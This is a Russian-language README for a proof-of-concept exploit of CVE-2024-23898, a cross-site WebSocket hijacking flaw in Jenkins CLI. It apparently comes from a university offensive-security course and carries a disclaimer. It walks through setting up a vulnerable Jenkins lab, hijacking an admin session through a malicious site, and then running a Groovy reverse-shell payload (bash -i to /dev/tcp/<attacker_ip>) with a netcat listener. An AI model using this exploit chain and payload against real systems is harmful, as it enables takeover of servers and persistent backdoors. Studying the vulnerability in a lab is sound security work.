Перехват Websocket в Jenkins CLI - PoC
PoC-эксплойт межсайтового перехвата WebSocket для CVE-2024-23898 — уязвимости, затрагивающей версии Jenkins 2.217-2.441.
Этот эксплойт нацелен на Jenkins CLI, позволяющий удалённо подключаться к серверу управления Jenkins и выполнять на нём команды. С помощью этого эксплойта удалённый злоумышленник может получить доступ к серверу управления Jenkins и установить постоянный бэкдор, если администратор, будучи авторизованным на целевом сервере управления Jenkins, перейдёт на вредоносный сайт.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ
Этот код предназначен исключительно для образовательных целей и только для использования в рамках курса Hacking & Offensive Security в Университете Карнеги-Меллона. Этот код не должен использоваться как оружие или применяться для создания вредоносного ПО. Авторы решительно осуждают любые подобные попытки.
Настройка Jenkins
- Выполните "docker-compose build && docker-compose up -d"
- Перейдите на http://localhost:8080, вам будет предложено ввести пароль администратора
- Откройте оболочку в docker-контейнере jenkins (НЕ В POSTGRES-КОНТЕЙНЕРЕ)
- "docker exec -it <container_id> bash"
- перейдите в каталог, указанный на странице Jenkins, и получите пароль
- Создайте базовую учётную запись администратора (запомните пароль) и установите плагины по умолчанию
-Настройте анонимным пользователям базовые разрешения, перейдя в Manage Jenkins > Security
- Установите тип авторизации "Matrix-based"
- Разрешите анонимным пользователям читать "Overall" и "Job"
Выполнение перехвата Websocket
- Откройте Firefox, перейдите в Settings > Security & Privacy
- Установите Browser Privacy в положение custom, переключите Cookies в "off" (это заставит Firefox разрешить все файлы cookie)
- Перейдите в Jenkins, войдите как администратор, обязательно нажав «Keep me signed in»
- Запустите evilApp.py, открыв http://localhost:5000
- Перейдите на вкладку Network и нажмите обновить (refresh)
- Нажмите на пакет с файлом "ws" и перейдите в Response; вы должны увидеть сообщение "Authenticated as: admin"
- Также вы можете проверить "Cookies", чтобы увидеть cookie запоминания (remember-me)
Запуск reverse shell
- В терминале вашей машины запустите прослушиватель netcat с помощью
nc -l <port_num> (замените <port_num> на любой неиспользуемый номер порта)
- Вам нужно узнать IP-адрес вашего компьютера, каким его видит Docker. На Mac это можно сделать с помощью команды
ipconfig getifaddr en0
- Если ваш сервер Jenkins запущен, перейдите по адресу
[http://localhost:8080/script](http://localhost:8080/script). Если вы ещё не вошли, выполните вход под учётной записью администратора.
- Вставьте и выполните эту нагрузку (payload) в консоли скриптов Groovy:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- Вернитесь в терминал с прослушивателем netcat. Вы должны оказаться в файловой системе сервера Jenkins и иметь возможность делать всё, что может пользователь-администратор.